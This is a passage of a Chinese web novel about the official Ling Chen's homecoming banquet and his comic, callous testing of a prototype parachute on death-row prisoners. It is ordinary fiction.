当大唐其他皇子们都在忙着争权夺利、互相拆台、彼此陷害、共同上演一出好戏时。李嘉作为东道主,领着阎改之行遍了江南地区的名山大川。 二人一驴,一起迷过路,一起挨过饿、商量着要不要将驴兄拿来充饥,还一起被野兽追着跑,在花草茂盛的山水之间,留下了最纯粹、最爽朗的笑声。 “以后有机会了,一定要去我们陇右府,那里北边有大漠苍茫,东边有盛世长安,西边有祁连雪山,南边有山水流曲。” “一定,一定去。哎,那我要是钱不够怎么办?” “这是什么混账话?!你人去就行了,其他的我来安排,别的不敢说,酒肯定少不了你的!” “有酒就行,有酒就行!宁可食无肉,不可饮无酒。” “那叫不可居无竹!你这圣贤书怎么读的?教你的夫子没打过你吗?” “嘿嘿~他们哪敢打我……” “哦~是草民失言了,您可是八皇子殿下啊!那个夫子敢打您呢~” “去你的!又消遣我!” 坐在委羽山大有宫的山门前,李嘉和阎改之都是一身农汉装束,肩膀、头发上到处都是树叶,袖子和衣服也被荆棘划破划烂了好多道口子,绑腿靴子上也都是干了的黄泥。 完全没有一点形象可言。 卷起袖子在脸旁扇了扇,稍微凉快了一点后,李嘉犹豫了一下,扭头看着瘫倒在山门石碑后乘凉的阎改之,抿了抿嘴唇,还是忍不住问出了声: “阎兄,既然你是中原细作……那……那你与我那日偶遇,还有这些日子的游山玩水……也……也是……也是带有目的的吗?” 阎改之将盖在脸上、用稻杆编织的尖草帽一把拿了下来,皱着眉看向一脸纠结的李嘉,无语的问道: “你有什么值得我图的?你跟唐皇陛下关系差到路人皆知,一个无权无势的闲散皇子,我图你什么?”说着说着,阎改之翻身坐了起来,毫不客气的鄙夷道: “你知不知道,连我们这次来负责探查你们的细作统领们都说你没有接近的必要,完全是白白浪费银两和时间。 再说了,我好不容易从陇右来一回江南,可能回去后,这辈子都不会有机会再来了。我不趁着这段时间赶紧游遍芳丛,闲的没事跟你套近乎做什么? 你若是怀疑我别有用心,我们大可在此处就分道扬镳,没有你,我一样不会停下脚步。” 李嘉听后非但没有生气,反而开心的笑了—— “哈哈哈哈~阎兄莫要恼,是小弟的不是,小弟跟你赔罪~” “赔罪就免了,你有这心,赶紧进观去讨点粥米,弄瓢水也行,渴死我了!” “不是到你了么?上个野寺是我去的啊!” “你不是要给我赔罪么?” “我……” 第158章 荣归故里 立在当初刚从寿春战场回到望云镇,牵马寻青柠的河岸边,凌晨望着小溪中的潺潺流水和岸边绿草,心绪难平。 头戴束发银冠,一身朴素的黑衣,从脖领处环绕着两指宽的绣银纹,一路延伸到胸膛、腰腹处,最终被一条棕色的牛皮犀带淹没。最中间被工匠巧妙的嵌进去一颗碧玉宝石,垂衫被风吹动,轻轻摇摆。墨青色的靴子平整吸光,没有沾染上一点灰尘。 凌晨双手背在身后,昂首挺胸的伫立在风中回望着来时路,目光渐渐游离,心思飘向了远方。 想当初,举刀兵别了乡间,夕阳正斜,不再问年月。只身入战场,挥刀斩逆乱,鼓角声里,枕戈卧雪。 往事如烟,数载匆匆随风而过,终是不负新婚夜对青柠所言,重整破碎山河,教岁月辨清了忠奸,昭昭赤心,鬼神可鉴。 这个世界我来过,我深爱过,我战斗过。 立在凌晨身边的青柠早已经不是当初那个黑黑瘦瘦的害羞农家女了,褪去了青涩和稚嫩后,多了一份成熟和温柔。 同心髻将她的容颜衬托的别有一番清新淡雅,右侧簪着一支碧色钗子,除此在无一物,双垂坠着两颗彩蝶钉,在阳光下闪烁着七彩明光。 淡黄色的内衬抹胸外披着纯白色的蚕丝纱袂,腰间束着小貂带,旁侧挂着淡紫色的香囊,足下的天蓝色绣面上各有一只飞燕,轻便凉爽,又不失端庄大气。 这身装扮对于二品镇国夫人来说,有些寒酸。 但今天夫妻二人是来还乡消暑的,顺带见一见往日的姐妹邻友们,穿的太盛太艳,只会让她们产生距离感和疏远感,反为不美。 青柠伸手轻轻挽住凌晨的胳膊,与他一起看着小坡下的溪流,回想起和凌晨在这里发生过的事情,她也有些感慨万千。 左手按住青柠冰凉的的素手,凌晨笑着微微歪头,对着小溪扬了一下下巴后说道: “当初我刚到这里时,都忘记了你长什么模样,只记得黑黑瘦瘦的。可我立在这里一看,你跟那几个姑娘一般无二,我踌躇半天,都没有分辨出来。” “呵呵……” 青柠听后不禁莞尔一笑,抿着嘴笑了一会后,这才吸着气说道:“我说你当时怎么跟个呆子似的不吭声,原来是这样。” 顿了顿后,她仰起脸看向近在咫尺的侧脸,眼神中尽是柔情和爱慕: “可我认得你,你个头偏高,身形又瘦,肤色也跟寻常庄稼人不一样,白皙透亮,在太阳底下好似发着光。我一眼就认出了你。” 轻轻摸着青柠的爪爪,凌晨笑着没有说话,两个人就这样站在这里,静静的看着小溪流水涓涓。 远处,是一片金黄的麦田,风吹麦浪动,田野牧歌香。 再远处,是无尽的长野和模糊的村庄,道路两旁种着行道树,叶绿草青,天高云淡,暑气笼罩着千里中原。 解二家中有些小事,今天没有跟来。倒是陈啸听说凌晨要回临颍,连忙从召陵赶了过来,带着镖局里武艺最高强的十几个镖师策马奔至,一为叙旧,二为护佑。 这次从汴京过来时,是刘廷让带着百名护庄队员跟随的,有没有陈啸都一样,但这份心意凌晨却不能拒绝。 陈啸也是旧友故交了,算起来,除了青柠和老文父子外,目前还在自己社交圈子里的人中,他是资历最老的人。 凌晨帮着他出人头地,不用再打家劫舍讨生活,他又何尝不是帮着凌晨砍赵世中、剁鬼方部、解决了一个又一个的麻烦。 他俩不是上下级,而是相辅相成的朋友。 回到村子里后,青柠待在家中,召集旧日的姐妹们前来老宅叙旧闲话,凌晨也来到镇子中王臣鹤曾经教过书的学堂里,接受镇上族老望绅们的宴请。 人,无论飞得多高,走的多远,都不能忘记自己的根。 在这个世界上,望云镇就是自己的根基所在,乡亲们虽然地位不同,身份不同、观念不同,但庄家的红白事、村里的年节社,还是要重视和参与的。 哪怕身忙走不开,份子也得托人捎上,这是千百年来的人情规矩。 其实以前凌晨挺讨厌这些的,也不懂其中的意义,总觉得就是趁着谁家有人去世或者谁家有人结婚,全村人凑在一起吃个饭而已,可有可无,可去可不去。 有这功夫,还不如多打两把排位。 吃就吃吧,还要搭份子钱,为啥主人家不自己掏钱,让大家直接去吃呢? 以前有父祖应付这些人情往来,不觉有甚。随着年龄的增长,到了需要他自己去参加这些宴会的时候,凌晨这才恍然醒悟过来。 这些活动不是为了吃饭,而是为了让大家知道,村子里还有这么个人,还有这么户人家。 当初给自己和青柠主婚的刘员外老了,听说已经躺在床上不能下地,言语不清、意识糊涂。说的难听点,估计屎尿都兜不住,得有人专门清理照顾才行。 刘廷让一回来就回家去看父亲了,凌晨本来也想去探望一下的。 虽然一开始老头没安啥好心,后面更是横事做习惯了居然敢找自己的不痛快,但双方最后还是不打不相识,握手言和了。 这么些年的风风雨雨,在有些事情上,大家也是并肩而战的朋友。更不要说他儿子现在还是自己的得力干将。 不过,凌晨最终还是没有去。 老头这会可能已经到了弥留之际,自己贸然登门,万一他一个激动,一口气提不上来咋整?那不废了么! 让刘廷让带去自己的问候后,凌晨就领着陈啸来参加村子里为自己归乡而举办的宴会了。 清风吹过,闲云高卧。 这座镇办学堂是由凌晨提议、全镇乡绅望族共同出钱出力办起来的,为镇子里的孩童们提供了读书的机会,让很多人的命运轨迹都发生了翻天覆地的变化。 而且由于望云游乐场的建立,镇子上的人家基本都已经实现了小康生活,凌晨当年许诺要让乡亲们家家户户畜棚有牛、餐桌有肉,如今确实真的做到了。 从这里走出了望云护庄队,走出了奔赴各地的年轻官吏。别的不敢说,凌晨对望云镇人民还是很照顾的。 想当初修建从汴京通往南阳府的直道时,凌晨硬是去万修家磨了两天一夜,软磨硬泡的连哄带逼,才让工部侍郎大人将路线拐了个弯经过望云镇外围。 在望云镇,你如果说凌晨不好,真的会被打。 随着镇子上的义堂银两储备越来越多,学堂也是几经扩建和修缮,经济实力上来了,让后辈们能有个好的读书环境,也是很有必要的。 以前大家哪有机会读书啊,能吃上饭,不在乱世中被乱兵剁成军功就已经是烧高香了。 “你们赶上了好时候啊~” 当然,还有一个比较重要的原因:琅琊郡公王臣鹤当年还未发迹时,曾在这里教过书。如今他威震天下、坐断东南战未休,你不把学堂修的上档次点,配不上郡公的身份和逼格,怕是不得行哦~ 学堂后的操场上,摆着十几桌宴席。 镇子里的人都知道凌晨这人随意,炎炎夏日里喜欢吃点酸而微辣、酸而微甜、酸而微咸的凉拌菜肴,以及甜而不腻的常温汤饮,酒也要淡的,但不能太淡。 当你身居高位时,你的口味、喜好、兴趣,都不用你自己开口嘱咐。 柳条随风摇摆不定,岸边水面波光粼粼,平整夯实的操场上铺满了青石板,明显是洒水清扫过的。毕竟……你不能让京城归乡的官员吃饭时,周围刮起一阵黄土吧? 凌晨坐在上桌主位上,左边是精神饱满的三太爷,过去是陈啸,其他五位也都是望云镇德高望重的老人,和凌晨一起处理过难民问题、一起筹办过防务体系以及望云游乐场的建设。 其他桌子上也都是镇子里的乡亲们。 一杯酒下肚,虽然满头白发、甚至部分头发都有些发黄的三太爷却行动自如,言语清晰,满面红光,说话的时候还爱伸着手比划。 “柠儿这孩子,打小我就觉得跟别的娃娃不一样。别的小东西可捣蛋了,一群人一起来偷我老头子种下的寒瓜和酥梨,等我追出去时,早就跑的没影了。 结果你们猜怎么着?我回来时,就看到她一个人在抬那些被踩倒扒坏的竹篱笆,哎呦~常言道三岁看老,那就是跟别人不一样!” 其他老人听到后纷纷点头附和:“是啊是啊~” “天性从小就能看出来。” “对,要不说她能出人头地呢~” “对对对~” 凌晨捞了一筷子酸笋干,丢进嘴里“嗑噌嗑噌”的嚼着,一边感受着味蕾传来的酸凉,一边想象着当时的画面,不禁有些想笑。 青柠当时很有可能是来不及逃跑了,又怕被三太爷抓住打一顿或者带去见爹爹,所以才假装乖巧收拾残局的吧? 自己媳妇凌晨还是了解的,虽然外表看着呆呆弱弱的,骨子里那可是又精又野又凶,还很聪明。 说着说着,三太爷不禁叹了一口气—— “唉!可惜三勇福薄啊!年纪轻轻,死在了战场上,竟然先我这老东西去了,要是如今他还活着的话该有多好啊!他家大郎是京城高官、女儿女婿又都是面见过当今陛下的一双后秀,真是……唉!” 三太爷总是能让凌晨说不出话来,却又在脑海中产生无限思绪和遐想。 如果老丈人真的活着,现在会是什么样呢?要是丈母娘还活着呢? 啧…… 也是难为大舅哥和老婆了,双双混出了人样,奈何子欲养而亲不待,人生最无奈的事情,莫过于此了。 也许在某个夜深人静的夜晚、某个不经意的的瞬间,他们兄妹俩也会感到遗憾吧…… “人生不如意的事多了去了,喜怒哀乐、离别聚散,想来三太爷也见的多了,尽人事,听天命,不想过去,放眼将来就是了~ 来,三太爷,晚辈敬你一杯。你要做的就是静观春去秋来、笑看沧海桑田,每天开开心心、硬硬朗朗的等着抱玄孙!” 凌晨单手端起酒杯,笑着向三太爷敬酒,桌上众人除了陈啸还在低头干饭,其他人都纷纷举杯,一起祝三太爷长命百岁。 “嘬——” 美滋滋的喝完后,三太爷摇头笑道:“我今年已经八十有六啦!活的比大周朝还长,已经没什么奢望的了。长命百岁,那还不得成妖精?” “哈哈哈哈哈~~” 众人皆是大笑,连凌晨也忍不住咧嘴,老头风趣幽默,乐观豁达,性格豪爽不羁,这也许就是他能送走一大堆同龄人和黑发人的秘诀吧。 闲聊嘛,就是聊聊感受、见闻。聊着聊着,三太爷突然问起了凌晨的薪资收入: “哎晨哥儿啊,你这个……你先前说你是什么官位来着?” 凌晨双手交叉握住,垂在两腿之间,身子一前一后的摇晃着,颇为放松的回答道:“殿前都点检,三太爷。” “哦……” 三太爷抬起脸茫然的想了想后,摇头道:“没听说过。” 呃…… 连殿前司都是老文称帝后才建立的军事机构,更别说里面复杂的官职体系了,三太爷只是一介乡老,没听说过也是正常的,况且他也接触不到那个层面。 凌晨只能胡乱搪塞道:“简单来说就是给陛下开路守门的。” 经过他这么一解释,三太爷这才懵懵懂懂的点了点头,继而追问道:“那一个月俸银多少呢?” “不到二十万两吧~” “啪嗒!!” 凌晨话音刚落,三太爷的筷子瞬间就掉落在了地上,同桌的其他老者们也都目瞪口呆的张大了嘴巴,凌晨感觉都能塞进去石狮子口中的球。 就连一旁埋头干饭的陈啸也愣了一下。 三太爷声音有些哆嗦的颤声问道:“不……不到二十万两……那,那是多少?十九万……十九万两吗?银子?” 凌晨笑着说道:“没有那么多。” “十五万两?” 凌晨摇了摇头。 “十万两?” 凌晨又摇了摇头。 三太爷疑惑的像个孩子,伸手挠了挠头,面色古怪问道:“那是多少?” “一个月三十八两。” “……” “这孩子……你方才不是说不到二十万两吗?我还以为……” 凌晨双手一摊,一脸坦荡的对三太爷说道:“我没骗你啊三太爷,确实没有到二十万两啊!” …… 三太爷既无语又郁闷的撇了撇嘴,臭小子,拿我老头子寻开心呢在这? 短暂的沉默之后,三太爷好像又想起了什么,拍着凌晨的胳膊问道:“对了晨哥儿,我听镇子里去过汴京城的年轻人说,说……咱们开封府好像有拦路抢劫的盗匪啊!” 嗯? 凌晨闻言一愣,疑惑的看了一眼坐在三太爷旁边的陈啸,有些懵逼的说道: “不会吧?咱们开封府可是天下京师,如今大郑海晏河清,陛下又免了两年赋税,就算不丰衣足食,起码也不会沦落到要跑去打家劫舍吧?” “哎~怎么没有!”三太爷一本正经的对凌晨说道: “我儿媳家的外甥,上个月就是在上蔡被人给拦住了,说是他们携带的货物有问题,对官道会造成破坏,要收养护费。 听说他们连官府都不怕,好像官府里也有他们的人,可横了!领头的那个浑名好像叫什么……镖……镖……” 见三太爷半天想不起来,另一位老者插嘴补充道:“镖头。” “对对对,就是这个,你在京城待的久,听说过这个人吗?” 凌晨张了张嘴,不经意的看了一眼陈啸,摇头道:“没听说过。” 三太爷见凌晨没有听说过,不禁有些纳闷,于是又转过身,拨着陈啸的胳膊问道:“哎小伙子,你听说过吗?” 陈啸咽下一口菜,脸色平静的看着三太爷摇头道:“没听说过。” 嘶…… 奇了怪了,怎么都没听说过…… 就在三太爷疑惑之际,远处跑来一个凶神恶煞的壮汉,满脸胡茬,一身肥健的壮硕身肉,远远的就高声喊道: “镖头!镖头!” ?? 这人跑到陈啸身边后,微喘着气说道:“镖头,许县的胡当家差人来问,说是路过一支淮北来的商队,自称有唐知县的招呼,跟您说过的,有没有这回事?” 陈啸啧了啧嘴,抬头看了手下一眼,又看向眼前的宴桌,故作镇定的说道:“有这事,让人家过去吧。” “哎~” 确认过后,那凶汉子便转身匆匆离开了,留下一桌子人大眼瞪小眼,空气安静的可怕。 陈啸张着嘴动了动,对着三太爷说道:“呃……太爷叫我陈大就好,我跟着凌兄弟做事的。” 你妈的陈大傻个…… 凌晨瞬间就无语的想要骂出口,又奈何这么多高邻在场,只好无奈的抿了抿嘴,沉默不言。 三太爷客气的点点头回应了陈啸,老脸上勉强挤出一丝笑容来,不着痕迹的抬着屁股底下的小曲凳往凌晨身边挪了挪,尽量离陈啸远一点。 为了缓解尴尬,凌晨只好举起酒杯,对着三太爷说道:“来来来,三太爷,再饮一杯,身体健康啊~” “哎哎哎~” 第159章 没有差评 跟老头子们聊天喝酒就是不自在,而且一不小心就会让本就沉闷的气氛更加尴尬。三太爷本来挺乐观豁达的一个人,自从跟陈啸喝了一顿酒后,整个人都变得有些内向了。 无所吊谓,好不容易回到临颍县了,怎么也得去找老崔叙叙旧。 崔赦在临颍知县的位置上干了有些年头了,自从接任冯延以后,连手底下的凌晨、张承都已经陆续成了他的上司。小伙儿不知道心里咋想的,一点上进的欲望都没有。 吏部好几次拟定要把他调到京城去任职,因为他无论是背景、资历,还是声望、成绩都已经符合选调标准了,但他就是不肯去。 如今更是半个屁股坐在车辕上,亲手扬着鞭子、赶着驴车、拉着凌晨走在前往里阳镇的官道上。 两人后面远远的跟着陈啸、刘文越和陈家镖局的镖师和临颍县衙里的衙役。护庄队全体放假十天,大部分都已经回到了望云镇。 距离静宁书院开办也有段时间了,理论知识学的已经有些眉目。但纸上得来终觉浅,绝知此事要躬行。凌晨决定给他们先放个小暑假,各自回家探亲访友。 等他搞定老崔、拿到想要的东西后,就给队员们来一场震撼的空气动力学课外实践。 “我说你是不是有什么毛病?放着高头大马不骑、软褥轿子不坐,怎么还喜欢上驴车了?我不在的这几年,你到底经历了什么?” 坐在另一边车辕的凌晨不停的出声抱怨,驴这牲畜性情很不稳定,跑起来很容易抽疯,疯完后又一动不动了,任你怎么鞭打,就是死犟着一步都不肯走。 坐在驴车上,他一个从不晕车的人都有些感到想吐,好几次都胃里翻涌、嗓子眼火辣辣的。 要不是有求于崔赦,他早就跳下去跑了,这车辕颠的屁股真疼哇…… “你不懂,这叫与民同乐!以前家里总是教导我要端庄得体,不要失了门风仪范。可那样百姓们就会下意识的疏远我,觉得不是一路人。 自从做了这临颍县的父母官后,我才算是看清楚了,什么场合就该做什么事。和同僚们要端着,和百姓们要放开,如此才能如鱼得水啊!” 凌晨一手抓着车边,一手扶着车辕,嫌弃的看了一眼有些兴奋的崔知县,他已经彻底玩嗨了,不断挥舞着手中的鞭子抽打在驴屁股上! 凌晨真怕眼前这玩意一个不高兴,直接腾起后腿给自己来个宇宙飞踢,或者尾巴一翘直接自由飞翔。这真不是他杞人忧天,实在是因为距离太近了,毛驴尾巴都能甩到他脸上…… 捂住鼻子,挥散萦绕在面前那股冲鼻的牲畜毛发和粪便味道,凌晨吸了一口气,开始说起了正事: “哎,老崔,咱俩关系怎么样?” “怎么突然问这个?上次继业兄也是这么开口问的,把我都问懵了。结果你猜怎么着?他要我用咱们县里的银子去填补纪县的官银亏空,我当时就给拒绝了。” “呃……” 崔赦一边兴奋的挥舞着鞭子,享受着风与自由,一边邪笑着看向凌晨: “你别跟我说你也是来为难我的,凡是损害本县官衙和百姓利益的事儿,一概免谈。” 嘿……这小子…… “不是……不是损害,就是借几个囚犯一用,最好是死囚。” “啊?” “我说,找你借几个死囚!!” “你说什么?风太大了听不见!抓稳了,本县要加速了!!” “你特么……” 里阳镇的官道口,有专门维持秩序的皂吏,不仅如此,河道上还有撑船巡逻的衙役。 毕竟这里可是个不得了的地方,当年为了建设和营造这里,如今的兵部尚书、京兆尹、殿帅、还有本县县尉齐齐上阵才解决,全明星阵容打造出的水陆交通枢纽,颍川明珠,你以为开玩笑呢? 人流量大、名气高、车马拥挤,所以稳定的秩序和绝对的安全非常重要。 当崔赦驾着他的驴车拉着凌晨出现在官道上时,躲在凉棚里纳凉消暑的老班头立刻就注意到了。于是便朝着手下新来的年轻衙役挥了挥手,让他去看看究竟是哪个不要命的,竟然敢在这里飙车。 手下去了~ 手下回来了~ 老班头见他两手空空,身后也空无一人,有些疑惑的问道:“车呢?” 年轻衙役搓着手说:“过去了。” 过去了? 什么特么的叫过去了?? 老班头从凉席椅子上坐了起来,放下了手中的蒲扇,更疑惑了:“车上坐的是谁啊?” 年轻衙役青涩的脸上浮现一丝无辜:“坐的是谁我不认识……” 老班头听后,顿时就不高兴了。不认识你不拦下他,给他扣个危险驾车的帽子好好教育教育?就这么放过去了? 察觉到上司有些不悦,年轻衙役连忙补充道:“坐车的我真不认识,但赶车的是咱们崔大人。” “?” 就在老班头大脑一片空白,还没反应过来时,凉棚前面的道路上又走过去十几骑,扬起一阵尘土! 后面还步行跟着一大群人,全是自己的同僚。 老班头连忙起身,鞋子都没穿的跑到凉棚外伸长脖子朝着这支队伍前往的里阳镇方向张望。 这是来了什么不得了的大人物?竟然能让知县大人亲自驾车,县尉大人远远跟着作陪?! —— “真的,你考虑一下,反正他们都是死囚,再说我这是废物利用,不是专程来消遣的,更不是故意要害他们的性命。” 立在水云榭的阁楼旁,凌晨和崔赦并肩而立,一起望着远处的繁忙的码头和街道上喧嚷的街景人影,带有水汽和草香的风钻进鼻孔,顿觉心旷神怡。 一幅清明上河图仿佛从纸上活了一样呈现在他们面前。 “你想让他们帮你做什么?” 崔赦端着杏汁碎冰渣嘬了一口后,终于不再逃避了,开始认真和凌晨商议。 “也不干啥危险的活,就单纯的做个科学实验。我需要一些胆大心细、敢为天下先的勇士,愿意为大郑的科技进步做出贡献,如果实验成功,我愿意为他作保。罪不至死的话,也不是不能……” “停停停~” 崔赦伸手打断了凌晨的滔滔不绝,仰起脸斜瞥着向他问道:“你说了这么多,都是大道理和空话,死囚的死活也与我无关,自有律法去断决,说来说去,我有什么好处呢?” 凌晨沉默了。 世风日下啊!老崔都学坏了,想当年他刚刚上任临颍县时,那是何等的刚直不屈、何等的正义凛然,眼里几乎容不下一粒沙子! 现在怎么被官场这个大染缸染成这副怂样子了?开口好处、闭口条件的,要是有录音机,高低给他录下来发给林济远。 喷不死你丫! “那个……你也知道,我家里穷,再说你崔大人两袖清风、高风亮节,也肯定不会收受贿赂的对吧?别的……我实在没什么能够给你的哇~” 崔赦将头摇的跟拨浪鼓一样:“不不不,收不收是我的事,送不送可就是你的事了,你送的速度,决定了……” “小崔啊~我看你是飘了~” “……” 见凌晨已经将两个手合在一起,把指关节捏的“咯咯”作响了,崔赦很识相的停止了口嗨和暗爽,咳咳两声后,大手一挥—— “本县准了。” 凌晨放开双手,有模有样的作揖行礼道:“那就多谢崔大老爷了~” “嗯~~” —— 临颍县衙的监牢外,是一片满是白黄色沙土的广场,四周都是高墙,上面站着很多目光锐利的衙役,一手持握水火棍,一手按着腰刀,十分警惕的巡视着场中和外面的风吹草动。 凌晨坐在茶棚下,和崔赦嘻嘻哈哈的闲聊着八卦,刘文越一身官服手握腰刀,皱着眉头目光狠厉的望着被狱卒们押出来的十个犯人,他们每个人脚上都铐着铁链,身上也套着木枷锁,就只露出个脑袋和拳头。 全都是能让凌晨兴奋起来的重刑犯。 刘文越对着排成一排的死囚们冷冷扫了一圈,沉声下令道:“解开他们的枷锁,去掉脚铐!” 这帮死囚们一开始还表情不一,有的垂头丧气,有的默不作声,有的梗着脖子下巴高高扬起,一副爷傲奈我何的姿态。 但当狱卒们真的解除了他们身上的限制后,他们全都懵了。 这帮狗官……不怕我们暴起伤人吗?不怕我们劫持人质逃出这里吗?那边茶棚下左边坐着的那个家伙,就是他惊堂木一拍把我们送进这里等着秋后问斩的,他怎么一点都不担心? 还有他旁边那个小白脸,在那傻笑什么呢?他的怎么目光一直在我们身上直勾勾的来回打量?他不知道我们是什么人吗? 狱卒们将枷锁脚铐都拿走后,又莫名其妙的弄来一根手腕粗的麻绳,丢在了囚犯们中间。 刘文越语气不善的对这十个人说道:“你们也是祖宗积德了!本来以你们犯下的罪行,自然是必死无疑的,但是今天侯爷来了。 你们若是运气好,便能出去为侯爷效力!若是做的好,帮侯爷完成了大事,就是洗心革面、重新做人也不是没有可能。 现在,分成两拨各自站好,拿起绳子!看到地上的线了没有?两方各自拉,把对方拉过来的那一方,将会得到为侯爷效力的机会!快点!” 这十名死囚听到刘文越讲完后,面面相觑,不过他们也没有互相交流,而是表情麻木的各自走向两边。 只有一个面色阴郁、蓬头垢面的壮汉,对着另外两个人使了个眼色,把一个身形瘦弱、低头不语的人一把拨到对面去了。他们这队明显比较壮硕,赢面很大。 这种小动作自然被凌晨看在眼里,不过他并不在乎。 “嗬——” 能从这个暗无天日的牢笼里走出去,就意味着有活命的机会,像他们这样的死囚,哪个手里没有沾染鲜血? 侯爷? 侯爷怎么了? 侯爷的脖子会比别人的更硬吗?会比别人多一条命吗? 这十位参赛选手面红耳赤,脖子和胳膊上的青筋暴起!牙关紧咬,身体向后倾斜,双脚不停的蹬着地面上的尘土砂石,用尽全身力气,争取一个活命的机会!! 最终,还是三人小团体所在的一方凭借着吨位赢得了胜利。 欣赏完这场监狱拔河友谊赛后,凌晨心满意足的起身,朝着陈家镖师们使了个眼色,让他们架起那五个精疲力尽的幸运儿,前往水云榭直接开练! 早在还没有回到临颍前,凌晨就已经叫刘文越在水云榭的楼顶开始架筑木制高台和平板横坡了。 既然热气球能够成功上天并且具备稳定的实用价值,可以运用到军事领域,那么这种材质的布料做成降落伞自然也能。 但是,用自己人去测试新产品的稳定性,显然是有些不道德的。望云护庄队的每一名队员都是凌晨的宝贝疙瘩,是他花费了大量时间和金钱招募、武装、训练出来的。 虽然自己让他们从热气球上直接往下跳,他们也只会回一句“侯爷,照顾好我家人”,然后就头也不回的翻出去自由落体。 但是凌晨肯定不能这么干呐! 眼前这几位幸运儿就不一样了,有力气、有胆魄、有生命,用完以后如果不合格就算了,如果合格的话,还能收到用户反馈,总结出缺陷不足和需要补充的地方。 完美~ 但是在此之前,凌晨肯定还要对他们进行一番专业知识培训和思想动员教育的。必要的时候,可以先送走一个杀鸡儆猴。 反正是老崔打报告、张承批条子,提前处决一个死囚而已,就说他想要越狱,被正义的刘文越县尉给不小心弄死了,合情合理。 就是刑部的人来,也挑不出毛病。 但让凌晨没想到的是,他还有点不太好意思,没想好用什么理由找茬呢,先前那个面相阴郁的壮汉竟然先玩上了。只见他捂着肚子倒在地上,腿颤胳膊抖的,还真有那么点成为影帝的潜质。 凌晨拨开面前的两个镖师,走到囚犯面前一脸关切的问道:“怎么了兄弟?还能走吗?” “老爷……小人……小人腹中绞痛难忍,实在是……可能是今天没有吃饭,又在场上使了力气的缘故,求老爷发发慈悲,容小人去趟茅厕吧……” 汉子捂着肚子,艰难的瘫在地上,语气十分诚恳和可怜,苦苦哀求。 凌晨一脸同情的说道:“哎呀……那确实,人有三急嘛,没事,那你快在这解决吧。” “啊?” 我他妈听到了什么?? 此时一行人已经从监牢里出来了,正行走在官道上,来来往往的人虽然不多,但还是时不时的会窜出一个,在这里排污泄秽,真的好吗?? 就算没有行人,被你们二十几个人围着盯住,我特么哪拉的出来??? “这……老爷,在这里吗……” “废话!不在这里你还想在哪?要我把你抬到汴京城的皇宫里,在陛下的雪隐里让宫女们伺候着你拉屎吗?” 死囚人傻了,眼前这家伙什么奇葩脑回路啊? “那……那还是算了吧……” 谁料凌晨听后却直起了身子,我是那么宽宏大量的人吗?你把整个队伍搞的停了下来,在这里耽误了这么久,就想着这么算了? 你们五个要是一人肚子疼一下,天黑了都到不了地方。 时间就是金钱我的朋友~ 一念及此,他双手插在腰间,冷笑连连的看着这名小刺头说道: “你现在就给我拉,就在这里拉!今天你要是拉不出来,老子打也要给你打出来!!” “你……” 陈啸沉着脸从后面闪到凌晨身旁,目光如刀般居高临下的看着这名死囚,淡淡的问道:“你拉不拉?” “你……你们……你们脑袋被门夹了吗?我在这里……” “老夏、老秦,帮他放松一下,可能是太紧张了有些拘束。” 下一刻,还不等这名小刺头再说什么,离他最近的那两个镖师径直走了上去,不分由说的直接拳脚相加,将这位凶恶的死囚打的哭爹喊娘,蜷缩着身体躺在地上弓成了一只皮皮虾。 尽管他忍着剧痛不断的嚎叫讨饶,但两个铁塔般的壮汉根本没有停手的意思,今天他要么拉出屎,要么再也拉不出屎,没有别条路可走。 于是,五个愿意为大郑空气动力学做出尝试的伟大先驱,不得已变成了四个,出师未捷身先死,实在是太让人痛心了! 站在劲风烈烈、五十多米高的水云榭屋顶高台上。四位杀过人的死囚,乖巧的像六年级小学生,规规矩矩的排成一排,站的笔直。 “来来来,把这个套在身上。” 凌晨笑嘻嘻的将降落伞铺开在高台上,提起麻布缝制的背包,十分热情的亲手为大郑第一位飞人套好,又仔仔细细得检查了安全措施,确认一切都没有问题后,他这才双手握住眼前之人正在颤抖的双肩。 “你听我说昂,一会,我喊go,你就从这里跳下去。” 死囚顺着凌晨指的方向望去,高台木板的尽头空无一物,正下方就是运河。 “啊??” 本以为听话了就能活,这不还是个死吗?! “老爷……老爷你饶了小人吧!小人知道自己罪无可赦,但……但求您给个痛快,别折辱小人啊……” “啧~这是什么话?”凌晨嘴角一撇,随即脸色认真的向他解释道: “我要是真想杀你们,何必这么麻烦?你放心,你背的这个东西,是可以让你在空中停留一会的,所以不会像普通的高处跳下那样摔人。再说了,底下是运河,你怕什么?” 囚犯被凌晨一本正经的表情给弄懵了,他是真的有些搞不清楚眼前这人是要做这件事情,还是纯变态了。 于是他将信将疑的问道:“真……真的?” 凌晨从他面前绕到他的身侧,表情有些不耐烦,但语气却很诚恳的说道: “当然是真的!我哪有时间跟你开玩笑?你放心,你背的这个东西质量很好的,迄今为止还没有收到过差评,你就放心跳吧啊~” 第160章 厉兵秣马 随着这名囚犯像菲律宾跳水选手一样跌入水中,将整个水面砸起一片巨大的水花,也宣告着大郑第一顶降落伞的初体验以失败告终。 河里早就有镖师撑船等着,三两下就把在水里拼命扑腾的囚犯给捞了起来,丢在船里“噗噗”的吐水。 凌晨带着陈啸迅速从顶上“噔噔噔”的跑了下来,第一时间就赶到了河边,朝着他们大喊:“快快快!快弄过来我看看!” “你妹!不是人,我要看的是伞啊混蛋!!” “……” 船上的镖师们被凌晨吼的面面相觑,赶忙又去把漂在水面上的白色降落伞小心翼翼的捞起来,湿漉漉的滴着水提上岸,放在了凌晨的面前。 凌晨立刻上前蹲下来,仔细翻找问题所在,还伸直胳膊把其中一角的伞面举起来对陈啸说道:“来,帮我捏着提起来。” 陈啸立刻弯腰走上前来,伸出双手扯住降落伞,把它抖顺拉直。 凌晨又让另一个镖师把另外一侧也提起来,叫二人合力在他面前拉开,钻到底下仔细检查伞绳和伞面的连接处,发现并没有断裂。 挠了挠头后,他又顺着伞绳往后看去,再想想刚才那小子在空中时的画面,凌晨捏着断掉的肩带和安全绳陷入了沉思。 片刻后,他站起来拍了拍手,扬着下巴示意陈啸和镖师将伞收起来,然后又转身抬起头看向头顶高处,一边跳着一边挥手,高声喊道: “没事,只是个别小问题,不打紧,下一位!” 突然有那么一瞬间,陈啸觉得阎王应该站起来,把他那个位置让给凌晨坐。 上面的囚犯已经彻底绝望了,不跳必死,跳了半死,还能怎么办?跳呗~ 早知道会有今天,当初他们作完恶、杀完人后就应该自杀的,总好过今天在这里活受罪…… 剩下三位勇士,既无奈又决然的排好队,由上面的镖师替他们套好装备和安全措施,开始排着队挨个空中飞人。 